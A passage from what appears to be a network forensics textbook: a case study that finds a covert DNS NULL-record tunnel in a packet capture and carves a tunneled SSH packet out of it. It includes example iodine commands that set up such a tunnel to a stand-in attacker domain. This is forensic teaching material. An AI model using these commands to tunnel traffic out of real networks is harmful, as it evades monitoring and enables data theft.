In all of these instances, tunnels pose special challenges for network forensics investigators. In an investigation involving tunneled traffic, you need to figure out not just network topology, but also what layers are encapsulated within other layers because the data or transaction that you’re looking for may not be where you would expect. You may find that some or all of the tunneled traffic is encrypted, foiling plans to reconstruct tunneled traffic or even, in some cases, determine the endpoints of tunneled traffic. In the case of covert tunnels, detecting that the tunnel exists at all may be the biggest challenge.
In this chapter, we reviewed many common protocols used for tunneling, and also discussed mechanisms by which creative hackers have leveraged frequently used protocols for unexpected purposes. We provided strategies and examples for detecting, analyzing, and reconstructing tunneled traffic. Above all, network tunneling reinforces an important lesson: Every protocol can be bent and broken, for good or ill.
11.5 Case Study: Ann Tunnels Underground
11.5.1 Analysis: Protocol Statistics
Let’s begin by taking a high-level look at the protocols in use within this packet capture. Using Wireshark’s “Protocol Hierarchy Statistics” feature, we can see that 99.48% of the traffic within this packet capture is DNS over UDP (384 packets), and 0.52% is ARP traffic (just two packets). Figure 11-4 shows the details in Wireshark.
Figure 11-4 Using Wireshark’s “Protocol Hierarchy Statistics” feature, we can see that 99.48% of the traffic within this packet capture is DNS over UDP (384 packets).
We can also see, using Wireshark’s “capinfos” utility that the packet capture begins on November 27, 2010, at 23:39:45, and ends just 22 seconds later at 23:40:07:
$ capinfos evidence-network-tunneling.pcap
File name: evidence-network-tunneling.pcap
File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet
Number of packets: 386
File size: 108315 bytes
Data size: 102115 bytes
Capture duration: 22 seconds
Start time: Sat Nov 27 23:39:45 2010
End time: Sat Nov 27 23:40:07 2010
Data byte rate: 4700.86 bytes/sec
Data bit rate: 37606.86 bits/sec
Average packet size: 264.55 bytes
Average packet rate: 17.77 packets/sec
Filtering just on traffic originating from our host of interest, 192.168.1.30, we can see that there are 192 DNS packets originating from 192.168.1.30 in the 22-second packet capture (43,873 bytes outbound), as shown in Figure 11-5. This is an unusually high volume of DNS traffic within such a short time span. What’s more, there is no other traffic at all originating from 192.168.1.30 during that time frame.
Figure 11-5 Filtering for traffic originating from 192.168.1.30, we can again use Wireshark’s “Protocol Hierarchy Statistics” feature to find that 100% of the traffic originating from the host of interest is DNS over UDP (192 packets).
Normally, DNS traffic is used to resolve hostnames to IP addresses, for use by applications such as web browsers, email clients, or SSH clients. As a result, it is typical to see DNS queries and responses immediately preceding other application-layer traffic, such as HTTP. The absence of any other type of traffic in this capture is very unusual, even given the short time frame of the packet capture.
11.5.2 DNS Analysis
Let’s take a closer look at this DNS traffic. Simply by opening the packet capture up in Wireshark, we can easily see some noteworthy characteristics. In Figure 11-6, we see that the source of the DNS queries is 192.168.1.30 (a system on the internal network) and the destination is 10.1.1.20 (the internal DNS server). It appears that 192.168.1.30 is making repeated DNS queries multiple times a second, and these queries are being handled by the local DNS server.
Figure 11-6 Using Wireshark, we can see that the source of the DNS queries is 192.168.1.30 (a system on the internal network) and the destination is 10.1.1.20 (the internal DNS server). The Layer 7 protocol is DNS and the Type is NULL.
We can see in Figure 11-6 that the Layer 7 protocol in use is DNS. This is listed in Wireshark’s Packet List pane under “Protocol.” You can also see this in the Packet Details pane under “Domain Name System (query).” In the Packet List pane, Wireshark shows additional information about each frame. Using frame #17 as an example, we can see under the heading “Info” in the Packet List pane that this is a “Standard query NULL Paaqrabj.tnl.slick.evl.” As illustrated in the Packet Details pane under “Domain Name System (query)—Queries,” the type of this DNS query is “NULL.” The “Name” being queried is unusual: “Paaqrabj.tnl.slick.evl.”
Filtering on the DNS “Transaction ID,” we can see the response to the DNS NULL query from packet #17 in Figure 11-7. The “Answers” field appears to contain only 2 bytes of information: “0xb041.” Notice that the “Authoritative name server” for tnl.slick.evl is “tnlh.slick.evl.” Under “Additional records,” we see that tnlh.slick.evl corresponds with the IP address 172.16.16.220. For the moment, we will refrain from actively making requests of this server, in case it is controlled by an attacker that is watching incoming requests.
Figure 11-7 Filtering on the DNS “Transaction ID,” we can see the response to the DNS NULL query from frame #17. Notice that the “Authoritative name server” for tnl.slick.evl is “tnlh.slick.evl.”
Let’s use tcpdump to browse the traffic from the command-line:
$ tcpdump -tnn -r evidence-network-tunneling.pcap
...
IP 10.1.1.20.53 > 192.168.1.30.33777: 2460 1/1/2 NULL (100)
IP 192.168.1.30.33777 > 10.1.1.20.53: 2461+ [1au] NULL? Paaiara5.tnl.slick.
evl. (51)
IP 10.1.1.20.53 > 192.168.1.30.33777: 2461 1/1/2 NULL (100)
IP 192.168.1.30.33777 > 10.1.1.20.53: 2462+ [1au] NULL? Paaiarbh.tnl.slick.
evl. (51)
IP 10.1.1.20.53 > 192.168.1.30.33777: 2462 1/1/2 NULL (100)
IP 192.168.1.30.33777 > 10.1.1.20.53: 2463+ [1au] NULL? 0
mbbEnPJyobGCgvGSnKY0yhbGs0lHOUfHrgiMvBUybb6MLsDXqaec4IefbWYg.
bIywfG5wjG3UbIyZ+7hItmYmZmbagTCcQN.tnl.slick.evl. (139)
IP 10.1.1.20.53 > 192.168.1.30.33777: 2463 1/1/2 NULL (260)
IP 192.168.1.30.33777 > 10.1.1.20.53: 2464+ [1au] NULL? Paaqarbj.tnl.slick.
evl. (51)
IP 192.168.1.30.33777 > 10.1.1.20.53: 2465+ [1au] NULL? 0
qcbEnPJyobGCgvGmnKYZyhbGs0lMyUfHrgiMvBUybb6MLsD+FIzIhAdaeUhZ.
LygbKzgdI3g4GVmdmXHEWfl2qYV.tnl.slick.evl. (132)
IP 10.1.1.20.53 > 192.168.1.30.33777: 2464 1/1/2 NULL (100)
IP 10.1.1.20.53 > 192.168.1.30.33777: 2465 1/1/2 NULL (283)
...
There seem to be an awful lot of DNS NULL record queries and replies. Let’s use Linux command-line tools to filter out the DNS NULL record traffic and see the remaining traffic:
$ tshark -n -r evidence - network - tunneling . pcap -R '!(( dns.qry. type == 0 x000a )
|| (dns. resp . type == 0xa)) '
383 21.158096 00:0 c :29:63: c9:a8 -> 00:0 c :29:38:63:95 ARP 60
Who has 192.168.1.10? Tell 192.168.1.30
384 21.158240 00:0 c :29:38:63:95 -> 00:0 c :29:63: c9:a8 ARP 42 192.168.1.10
is at 00:0 c :29:38:63:95
How strange! It appears that all of the DNS packets in this capture are NULL record queries and replies. Normally, most DNS traffic consists of queries and responses for A records, with occasional queries for NS and MX records as well. The appearance of any NULL record request would be unusual. The fact that this DNS traffic contains nothing but NULL requests and responses is exceedingly weird.
Notice that there are two different types of NULL queries in this capture: one for a series of odd-looking hostnames at a suspicious-looking domain (tnl.slick.evl), and the other is for some waaaay huge long hostname at the same suspicious domain (tnl.slick.evl). Now we’re really intrigued.
What is the purpose of these DNS NULL requests and responses? The volume of DNS traffic produced, and the lack of any apparent legitimate purpose, raises the question of whether this traffic might actually be a covert tunnel. DNS is a classic protocol for covertly tunneling data because data stuffed into DNS records is often allowed to pass freely into and out of organizations.
Based on what we’ve seen, we suspect DNS tunneling might be going on. Let’s use a popular search engine to get more information about this strange traffic were seeing. If we use Google to search for “DNS tunnel null type,” as shown in Figure 11-8, the first result is a sophisticated DNS tunneling tool called “iodine.”
Figure 11-8 Searching the web using Google for the terms “DNS tunnel NULL type,” the first result is a tool called “iodine.”
Recall from our earlier discussion of iodine that, by default, iodine sends traffic as “querys of type NULL for subdomains under ‘topdomain’.”26 This matches the behaviors we’ve observed (see Figure 11-9). Perhaps iodine, or a similar tool, was used to smuggle data through DNS NULL record queries and responses.
26. Erik Ekman and Bjorn Andersson, “iodine(8): Tunnel IPv4 over DNS—Linux Man Page,” 2011, http://linux.die.net/man/8/iodine.
Figure 11-9 The iodine tool uses DNS NULL records to smuggle data through a covert tunnel.
11.5.3 Quest for Tunneled IP Packets
If it’s the case that IP packets are being somehow encapsulated and sent through these DNS NULL records, maybe we can find a tunneled IP packet somehow. One thing to look for is something like a “magic number” for IP packets: they commonly begin with 0x4500. Recall from Chapter 4 that the high-order nibble of the byte at offset zero of an IP packet represents the IP version, and the low-order nibble of Byte 0 specifies the number of 32-bit words in the IPv4 header. IPv4 is still the most widely implemented IP protocol, and so it is common to see the value “4” as the high-order nibble of Byte 0. The IPv4 protocol specifies that there are 20 bytes of required fields in the IPv4 header, and IP options are rarely used, so the low-order nibble of Byte 0 in an IPv4 packet is often “5” (five 32-bit words is equal to 20 bytes). Byte 1 of the IPv4 header is the “Type of Service” field, which is not widely used today. As a result, most IPv4 packets carry all zeros at Byte 1. Hence, IPv4 packets commonly begin with the value “0x4500.”
Let’s use ngrep to search for the hexadecimal value “4500” in the payload of UDP datagrams:
$ ngrep -I evidence-network-tunneling.pcap -X "4500" -t -x 'udp'
input: evidence-network-tunneling.pcap
filter: (ip or ip6) and ( udp )
match: 0x4500
##############################################################
U 2010/11/27 23:39:54.283012 10.1.1.20:53 -> 192.168.1.30:33777
09 b6 81 80 00 01 00 01 00 01 00 02 08 50 61 62 .............Pab
61 61 72 64 72 03 74 6e 6c 05 73 6c 69 63 6b 03 aardr.tnl.slick.
65 76 6c 00 00 0a 00 01 c0 0c 00 0a 00 01 00 00 evl.............
00 00 00 75 e0 a1 78 da 01 68 00 97 ff 00 00 08 ...u..x..h......
00 45 00 00 64 42 f4 40 00 40 06 db 95 0a 04 04 .E..dB.@.@......
02 0a 04 04 01 00 16 a9 b8 e3 e6 1a cb e5 62 7f ..............b.
93 80 18 07 94 f8 c8 00 00 01 01 08 0a 00 03 57 ...............W
5d 00 03 d0 97 9b 96 62 e2 ca b6 e8 85 35 6b 7d ]......b.....5k
2b 17 61 51 3e 24 a7 8c 36 1c 67 92 a0 f2 b8 5a +.aQ>$..6.g....Z
e6 71 b1 2e ab 31 37 7a ca 79 33 ad 19 3b 6d 88 .q...17z.y3..;m.
8f 42 3c 31 57 bf 27 25 66 c0 15 00 02 00 01 00 .B<1W.'%f.......
09 32 15 00 07 04 74 6e 6c 68 c0 19 c0 b5 00 01 .2....tnlh......
00 01 00 09 32 15 00 04 ac 10 10 dc 00 00 29 10 ....2.........).
00 00 00 80 00 00 00 .......
######
U 2010/11/27 23:39:54.372578 10.1.1.20:53 -> 192.168.1.30:33777
09 b9 81 80 00 01 00 01 00 01 00 02 3d 30 61 66 ............=0af
62 45 6e 4f 62 45 61 63 68 2b 57 61 61 63 61 62 bEnObEach+Waacab
66 61 61 62 2d 54 6b 6a 61 61 65 61 67 41 44 43 faab-TkjaaeagADC
6b 62 61 71 62 63 47 71 65 61 51 4d 33 61 62 42 kbaqbcGqeaQM3abB
4c 79 4e 39 74 33 39 79 41 39 39 33 61 79 63 73 LyN9t39yA993aycs
64 56 62 71 61 61 61 71 65 69 63 47 61 64 2d 6b dVbqaaaqeicGad-k
43 61 61 30 44 44 47 74 55 38 39 37 32 68 57 76 Caa0DDGtU8972hWv
57 49 78 66 77 79 4d 63 72 38 4e 31 77 4e 62 6b WIxfwyMcr8N1wNbk
4e 71 4b 50 39 39 43 37 38 63 44 58 4f 64 75 39 NqKP99C78cDXOdu9
6e 58 4c 43 68 43 71 36 30 6e 67 76 4b 74 31 4b nXLChCq60ngvKt1K
47 43 56 6d 47 6e 4b 33 71 4f 75 62 2d 64 67 67 GCVmGnK3qOub-dgg
61 6a 39 2d 31 56 75 32 65 59 35 6a 33 6f 04 45 aj9-1Vu2eY5j3o.E
6c 4b 31 03 74 6e 6c 05 73 6c 69 63 6b 03 65 76 lK1.tnl.slick.ev
6c 00 00 0a 00 01 c0 0c 00 0a 00 01 00 00 00 00 l...............
00 85 80 c1 78 da 01 78 00 87 ff 00 00 08 00 45 ....x..x.......E
00 00 74 42 f5 40 00 40 06 db 84 0a 04 04 02 0a ..tB.@.@........
04 04 01 00 16 a9 b8 e3 e6 1a fb e5 62 7f d3 80 ............b...
18 07 94 6e 8c 00 00 01 01 08 0a 00 03 57 68 00 ...n.........Wh.
03 d0 a7 b2 e7 64 5f 67 2c 31 bd d2 c6 74 ad bf .....d_g,1...t..
46 a2 f4 41 ab ec ed 48 44 74 f3 61 04 4e af 2b F..A...HDt.a.N.+
3b 33 9d ec 2b 78 28 53 e9 89 d7 b4 ae b0 0c b2 ;3..+x(S........
5a 6f af ed cb fa 65 61 88 6c c6 ec c8 03 56 e7 Zo....ea.l....V.
2c 03 69 cc 18 31 4a c0 c3 00 02 00 01 00 09 32 ,.i..1J........2
15 00 07 04 74 6e 6c 68 c0 c7 c1 73 00 01 00 01 ....tnlh...s....
00 09 32 15 00 04 ac 10 10 dc 00 00 29 10 00 00 ..2.........)...
00 80 00 00 00 .....
####################
U 2010/11/27 23:39:58.070519 10.1.1.20:53 -> 192.168.1.30:33777
09 c3 81 80 00 01 00 01 00 01 00 02 3d 30 71 68 ............=0qh
62 45 6e 4f 62 45 61 63 68 2b 57 61 61 63 61 62 bEnObEach+Waacab
66 61 61 62 2d 54 6b 7a 61 61 65 61 67 41 44 6d faab-TkzaaeagADm
6b 62 61 71 62 63 47 71 65 61 51 4d 33 61 62 42 kbaqbcGqeaQM3abB
4c 79 4f 62 4a 33 39 79 42 77 39 33 61 79 63 73 LyObJ39yBw93aycs
62 2b 31 71 61 61 61 71 65 69 63 47 61 64 2d 48 b+1qaaaqeicGad-H
53 61 61 30 4a 75 2b 4a 35 30 30 38 53 36 51 61 Saa0Ju+J5008S6Qa
4b 34 51 6a 33 4d 4f 78 68 77 2d 62 55 62 4c 67 K4Qj3MOxhw-bUbLg
73 63 59 71 39 4a 76 39 32 36 65 46 6c 2b 79 49 scYq9Jv926eFl+yI
6b 4a 64 38 7a 35 34 51 70 36 39 56 35 58 45 4f kJd8z54Qp69V5XEO
4b 35 47 6d 35 6e 47 71 4a 51 6f 57 6d 58 78 37 K5Gm5nGqJQoWmXx7
50 4d 66 78 56 53 4e 76 57 64 69 65 52 2d 04 75 PMfxVSNvWdieR-.u
6d 4b 4e 03 74 6e 6c 05 73 6c 69 63 6b 03 65 76 mKN.tnl.slick.ev
6c 00 00 0a 00 01 c0 0c 00 0a 00 01 00 00 00 00 l...............
00 75 c0 01 78 da 01 68 00 97 ff 00 00 08 00 45 .u..x..h.......E
00 00 64 42 f7 40 00 40 06 db 92 0a 04 04 02 0a ..dB.@.@........
04 04 01 00 16 a9 b8 e3 e6 1b 5b e5 62 80 a3 80 ..........[.b...
18 09 20 18 db 00 00 01 01 08 0a 00 03 58 db 00 .. ..........X..
03 d2 1b 67 2d 3f a5 7c 01 6c d2 aa a6 ac e7 e0 ...g-?.|.l......
ce 6e 5f 7c e3 e5 e2 bc 2c ab ea 19 ab 25 be e8 .n_|....,....%..
92 51 4d a6 b3 30 e8 46 c6 ce 42 8c a7 d3 f0 89 .QM..0.F..B.....
3b ad 68 ad 63 29 62 c0 c3 00 02 00 01 00 09 32 ;.h.c)b........2
11 00 07 04 74 6e 6c 68 c0 c7 c1 63 00 01 00 01 ....tnlh...c....
00 09 32 11 00 04 ac 10 10 dc 00 00 29 10 00 00 ..2.........)...
00 80 00 00 00 .....
Ngrep produced three packets that contained the “magic number” 0x4500. Let’s examine the first one, which was sent at 23:39:54.283012. Searching in Wireshark, we find that this is frame #62.
Figure 11-10 shows frame #62 in Wireshark, which may contain a tunneled IPv4 packet. The source of this packet was 10.1.1.20:53 (the local DNS server) and the destination was 192.168.1.30:33777. The Layer 7 protocol in use was DNS. As shown in Wireshark’s “Info” column, this packet is a “Standard query response NULL,” indicating that it is a response to an earlier DNS query from 192.168.1.30. This makes sense; since 10.1.1.20 is the local DNS server, we would expect that 192.168.1.30 would direct DNS requests to this system. If 10.1.1.20 does not have the answer to the DNS query locally cached, it will recursively query external name servers as needed and pass the response back to the internal system.
Figure 11-10 Frame #62 in Wireshark, which may contain a tunneled IPv4 packet. The “Answers” section of the DNS protocol contains the remote server’s response to a DNS NULL query for “Pabaardr.tnl.slick.evl.”
In frame #62, the “Answers” section of the DNS protocol contains the remote server’s response to a DNS NULL query for “Pabaardr.tnl.slick.evl.” The “Data length” is listed as 117 bytes, and the “Data” section itself is highlighted. Buried at Byte 13 (remember, counting from 0) of the “Data” section is the magic number we were looking for, “0x4500.” It is promising that this value appeared in the Data section of the NULL record response, since this is where we would expect to see tunneled iodine data.
Let’s use Wireshark to export the data from the DNS NULL record response so that we can analyze it using a hex editor. You can export in Wireshark by selecting the data bytes and going to File→Export→Selected Packet Bytes, as shown in Figure 11-11. In this case, we will save the exported data as “evidence-network-tunneling-62.raw.”
Figure 11-11 Using Wireshark, we export the data from the DNS NULL record response so that we can analyze it using a hex editor.
11.5.4 Tunneled IP Packet Analysis
Now let’s see if we can carve valid IP protocol information out of this exported data. We will hypothesize that there is a valid IP header in the DNS NULL response data, and attempt to carve it out. Opening the exported data in the Bless hex editor, let’s delete all of the bytes before the start of our presumed IP packet at byte offset 13. Figure 11-12 shows the 13-byte preamble (highlighted) that should be cut.
Figure 11-12 Opening the exported data in the Bless hex editor, we delete all of the bytes before the start of our presumed IP packet at byte offset 13.
11.5.4.1 Source and Destination IPv4 Addresses
In the IP header, bytes 12–15 (again, counting from 0) represent the source IP address, and bytes 16–19 represent the destination IP address. Based on this, in Figure 11-13, the source IP address is highlighted (bytes 12–15 of the IP header). As you can see, these are (in hexadecimal) “0A040402.” Converting each hexadecimal byte to decimal:
0x0A = 10
0x04 = 4
0x04 = 4
0x02 = 2
Figure 11-13 An IP packet extracted from DNS NULL record data. The source IP address of the tunneled packet is highlighted.
Therefore, the source IP address of the tunneled IP packet is 10.4.4.2. This is a valid IPv4 address, which is promising.
In Figure 11-14, the destination IP address is highlighted (bytes 16–19 of the IP header). As you can see, these are (in hexadecimal) “0A040401.” Converting each hexadecimal byte to decimal:
0x0A = 10
0x04 = 4
0x04 = 4
0x01 = 1
Figure 11-14 An IP packet extracted from DNS NULL record data. The destination IP address of the tunneled packet is highlighted.
Therefore, the destination IP address of the tunneled IP packet is 10.4.4.1. Again, this is a valid IPv4 address, which fits with our hypothesis.
11.5.4.2 IP Packet Length
In the IPv4 header, the low-order nibble of Byte 0 is the “Internet Header Length” field. This indicates the number of 32-bit words in the IP header. (Each “32-bit word” is equal to 4 bytes.) As shown in Figure 11-15, the value of the low-order nibble of Byte 0 in this packet is 5. We know there are 4 bytes in each 32-bit word. Multiplying “5” (the number of 32-bit words in the IP header) by “4 bytes” gives us a 20-byte IP header. Now we know the length of the IP header.
Figure 11-15 An IP packet extracted from DNS NULL record data. Byte 0 of the tunneled packet is highlighted. The value of the low-order nibble of Byte 0 in this packet is 5.
The “Total Length” of an IPv4 packet is specified in Bytes 2–3 of the IPv4 header. As shown in Figure 11-16, the Total Length of the tunneled IP packet is “0x0064,” or 100 bytes.
Figure 11-16 An IP packet extracted from DNS NULL record data. Bytes 2–3 of the tunneled packet are highlighted. These represent the total length of the IP packet.
Counting 100 bytes, let’s trim the extra material from the end of the IP packet in Bless. Figure 11-17 shows the extra data that should be cut.
Figure 11-17 An IP packet extracted from DNS NULL record data. The highlighted bytes are beyond the calculated length of the IP packet and should be trimmed.
11.5.4.3 Encapsulated Protocol Type
In the IPv4 header, the single-byte field at Byte 9 (starting from 0) indicates the encapsulated protocol type. These were originally codified in 1980 by Jon Postel in RFC 762, “Assigned Numbers,”27 and are now maintained by IANA.28 In Figure 11-18, starting with Byte 0, we count from left to right and find that the value at Byte 9 is “06,” which corresponds with TCP. This indicates that the Layer 4 protocol embedded inside the tunneled IP packet is TCP.
27. “RFC 792—Internet Control Message Protocol.”
28. “Protocol Numbers.”
Figure 11-18 An IP packet extracted from DNS NULL record data. The encapsulated protocol type of the tunneled packet is highlighted. The value is “06,” which corresponds with TCP.
11.5.5 Tunneled TCP Segment Analysis
Now that we’ve extracted IP protocol details, let’s carve out the encapsulated TCP segment and analyze the protocol details. We know from the “Protocol” identifier in the IPv4 header that the encapsulated protocol is TCP. We also know the “Internet Header Length” field indicates that the length of the IPv4 header in this packet is 20 bytes (which is very common). Recall that there is no IPv4 footer, so in order to recover the tunneled TCP segment, we must simply strip off the 20-byte IPv4 header. Figure 11-19 shows the IPv4 header highlighted. These bytes should be cut off to recover the encapsulated TCP segment.
Figure 11-19 The IPv4 header of our tunneled packet is highlighted. These bytes should be cut off to recover the encapsulated TCP segment.
11.5.5.1 TCP Source Port
The first two bytes of a TCP segment (Bytes 0 and 1) represent the TCP source port from which the segment was sent. As highlighted in Figure 11-20, in this case the source port is 0x0016, or 22 in decimal. According to IANA, TCP port 22 corresponds with “The Secure Shell (SSH) Protocol.”29 This is a tool used for secure remote access to systems. SSH traffic is encrypted, so it is likely that the payload of this TCP segment contains encrypted data that will not be readable. At least to the eye, there does not appear to be any obviously recoverable content in the payload, such as cleartext strings.
29. “Port Numbers,” July 19, 2011, http://www.iana.org/assignments/port-numbers.
Figure 11-20 The tunneled TCP segment. The source port (0x0016, or 22 in decimal) is highlighted.
11.5.5.2 TCP Destination Port
The second two bytes of the TCP segment (Bytes 1 and 2) represent the TCP destination port. As highlighted in Figure 11-21, the destination port of the tunneled TCP segment was 0xA9B8, or 43448. This is listed as “Unassigned” in IANA’s “Port Numbers” list. That makes sense given that SSH is listed as the source port for this traffic. By default, SSH servers have TCP port 22 listening. SSH clients use an ephemeral port for traffic on the client side. Ephemeral ports are automatically allocated by the TCP/IP stack for temporary use by programs, as needed.30
30. Mike Gleason, “The Ephemeral Port Range,” 2001, http://www.ncftp.com/ncftpd/doc/misc/ephemeral_ports.html
Figure 11-21 The tunneled TCP segment. The destination port (0xA9B8, or 43448 in decimal) is highlighted.
The ephemeral port range varies depending on the operating system (and it can also be customized by the user). The destination port that we see happens to fit nicely in the default ephemeral port range on Ubuntu Linux 10.10, for example, which ranges from 32768 to 61000. By contrast, in Windows Vista and Windows Server 2008, the “dynamic client port range” is 49152–65535, so the packet we found with destination port 43448 is less likely to have been generated by a Windows Vista or Windows Server 2008 system.31
31. “The Default Dynamic Port Range for TCP/IP has Changed in Windows Vista and in Windows Server 2008,” Microsoft Support, July 14, 2010, http://support.microsoft.com/kb/929851/.
11.5.5.3 TCP Flags
Byte 13 in the TCP header represents the TCP flags. As highlighted in Figure 11-22, the hexadecimal value of Byte 13 is 0x18. In binary, this is 0b00011000. Comparing this to a TCP reference diagram, we see that the PSH and ACK flags are set. This indicates that the TCP segment we have extracted is part of an ongoing TCP conversation that was successfully set up.
Figure 11-22 The tunneled TCP segment. Byte 13 in the TCP header represents the TCP flags. In this case, the hexadecimal value of Byte 13 is 0x18, or 00011000 in binary. This means that the TCP “PSH” and “ACK” flags are set.
11.5.6 Timeline
Let’s put together a timeline of events, based on our analysis. In this case, the timeline will be fairly short, particularly since the packet capture we were provided is only 22 seconds long.
Here is our timeline of events, which took place on November 27, 2010 (times are in MST):
• 23:39:45.556364—Packet capture begins. 99.48% of the traffic is DNS NULL record queries from 192.168.1.30 and responses from 10.1.1.20 (the local DNS server).
• 23:39:54.283012—First DNS NULL response containing potentially recognizable tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.
• 23:39:54.372578—Second DNS NULL response containing potentially recognizable tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.
• 23:39:58.070519—Third DNS NULL response containing potentially recognizable tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.
• 23:40:07.278996—Packet capture ends.
11.5.7 Theory of the Case
Now let’s summarize our theory of the case. This is just a working hypothesis supported by the evidence, references, and experiences:
• A user on the internal system 192.168.1.30 covertly communicated with a remote system on the Internet by smuggling IP packets through DNS NULL records. This is a well-known method for tunneling that has been implemented in the popular tool iodine (and possibly other tools).
• The user sent tunneled data in DNS NULL record queries for hostnames in the tnl.slick.evl domain. The authoritative name server delegated for the tnl.slick.evl domain is tnlh.slick.evl (172.16.16.220). The local name server, 10.1.1.20, did not have the answers to the queries cached, and so it forwarded the requests along to the authoritative name server 172.16.16.220. The server 172.16.16.220 was probably the tunnel endpoint.
• A daemon listening on the server 172.16.16.220 extracted the tunneled data from the DNS NULL record requests.
• At least some of the tunneled data was IPv4 traffic. In one packet that we analyzed, the source for the tunneled traffic was 10.4.4.2:22, and the destination (on the local system) was 10.4.4.1:43448. This tunneled data was extracted from a UDP/DNS datagram sent from the remote tunnel endpoint 172.16.16.220 to the local system 192.168.1.30, proxied through the local DNS server 10.1.1.20 (and possibly other systems). Since 10.4.4.2 and 10.4.4.1 are nonroutable IP addresses in the same subnet, it is likely that the user configured virtual interfaces on both the source and destination systems with these addresses, for use by the tunneling daemon.
• Here is an example of how the tunnel could have been set up using iodine:
On the remote tunnel endpoint (172.16.16.220):
$ sudo iodined -f 10.4.4.2 tnl.slick.evl
Enter password:
Opened dns0
Setting IP of dns0 to 10.4.4.2
Setting MTU of dns0 to 1200
Opened UDP socket
Listening to dns for domain tnl.slick.evl
On the local tunnel endpoint (192.168.1.30):
$ sudo iodine tnl.slick.evl
Enter password:
Opened dns0
Opened UDP socket
Version ok, both using protocol v 0x00000500. You are user #1
Setting IP of dns0 to 10.4.4.2
Setting MTU of dns0 to 1200
Switching to Base64 codec
Server switched to codec Base64
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. got BADIP.. 1344 not ok.. got BADIP.. 1248 not ok..
got BADIP.. 1200 not ok.. 1176 ok.. 1188 ok.. will use 1188
Setting downstream fragment size to max 1188...
Sending queries for tnl.slick.evl to 10.1.1.20
Detaching from terminal...
• The user was probably tunneling SSH traffic, based on the source port (TCP 22). SSH is a program used for remote connection that encrypts authentication credentials and data in transit. Given the flags set in the tunneled TCP segment (PSH and ACK), it is likely that the segment we carved out was probably part of an existing TCP connection that had been successfully set up. Since SSH traffic is encrypted, it is unlikely that we will be able to recover application-layer content.
11.5.8 Response to Challenge Questions
• Analyze the DNS traffic and determine if it is truly suspicious. The DNS traffic certainly does appear to be suspicious. There are a few characteristics that made it stand out. First, all of this DNS traffic was of type “NULL.” Normally, DNS traffic contains queries and responses for A records, and sometimes NS or MX records. DNS NULL record requests are unusual. We also noticed that there was no other traffic at all except one ARP request/reply pair, so there is no indication of a legitimate network-based application that would require DNS information.
• Determine the purpose of the unusual DNS traffic. DNS NULL records are perfect for covert tunneling because the NULL record can contain any type of data and DNS queries/responses are frequently allowed through organization perimeters. Hypothesizing that this DNS traffic was used for covert tunneling, we searched for tunneled IPv4 packets and found what appeared to be three tunneled IPv4 packets. We were able to successfully carve out a legitimate TCP header encapsulated within one of the IPv4 packets, which indicated that the tunneled traffic might be SSH. This is a smart way to covertly tunnel data because even if the tunnel is recovered, the application-layer content of the tunneled traffic is encrypted.
• If the traffic is suspicious, recover as much information as possible about the local and remote systems involved.
We found that the remote tunnel endpoint was probably tnlh.slick.evl (172.16.16.220), since this was the authoritative name server designated to process DNS requests for the tnl.slick.evl domain. This system was likely running a daemon designed to extract tunneled traffic from the DNS NULL records.
The remote endpoint of the tunneled traffic was 10.4.4.2:22, and the local endpoint of the tunneled traffic was 10.4.4.1:43448. Since these are nonroutable IP addresses in the same subnet, it is likely that the user configured the local and remote systems to use these addresses for virtual interfaces on the tunnel endpoints.
The remote tunnel endpoint is probably running an SSH server that is listening on 10.4.4.2:22.
• Evaluate the risk that data was exfiltrated. The risk of data exfiltration is significant. We know from the TCP flags set on the tunneled TCP segment that a successful TCP connection was likely established, allowing application-layer data to flow back and forth across the tunnel. Since the content of the SSH traffic is normally encrypted, we probably cannot recover the actual contents of the communication, but we can evaluate the volume of data transmitted (and received) to at least place an upper boundary on the amount of data that may have been transferred (43,873 bytes outbound, including protocol header and footers).
11.5.9 Next Steps
Now that we have strong evidence indicating that a covert tunnel was established via DNS NULL records, what are the next steps for investigators?
• Hard Drive Analysis If the client 192.168.1.30 still exists on the network, it would be wise to recover the system, preserve evidence, and analyze the contents of the hard drive. This will help us determine what data or credentials may have been compromised, what software was used to establish the covert tunnel, and perhaps even identify who was using the system at the time of the covert communications.
• Central Logging Server The central logging server may contain authentication records and application logs, which could allow investigators to identify the user of 192.168.1.30, recover any privileged commands that were run to set up the tunnel or exfiltrate data, or determine whether any other systems were accessed by the same user. If the central log server stores logs of DNS requests, that might be very useful for identifying any other instances where covert tunneling over DNS NULL records was employed.
• Firewall Logs and Flow Records Firewall logs and flow record data can help investigators determine whether other systems on the local network were used to access the same remote server. The pattern of traffic produced by DNS NULL record tunneling is also quite distinct, and investigators could analyze firewall logs and flow record data to determine other instances where a similar method was used for covert tunneling.
• Third-Party Communications In cases where a third-party server is identified as an endpoint in suspicious communication, it may be appropriate to notify the owner of the server, the ISP, or the domain name registrar. One of the most important factors to consider when communicating with third parties is whether they may be involved in the suspicious activity. In this case, it would probably be appropriate to hold off notifying the remote endpoint owner until substantial evidence has already been gathered, since the covert tunnel may have actually been set up by the owner of the remote system.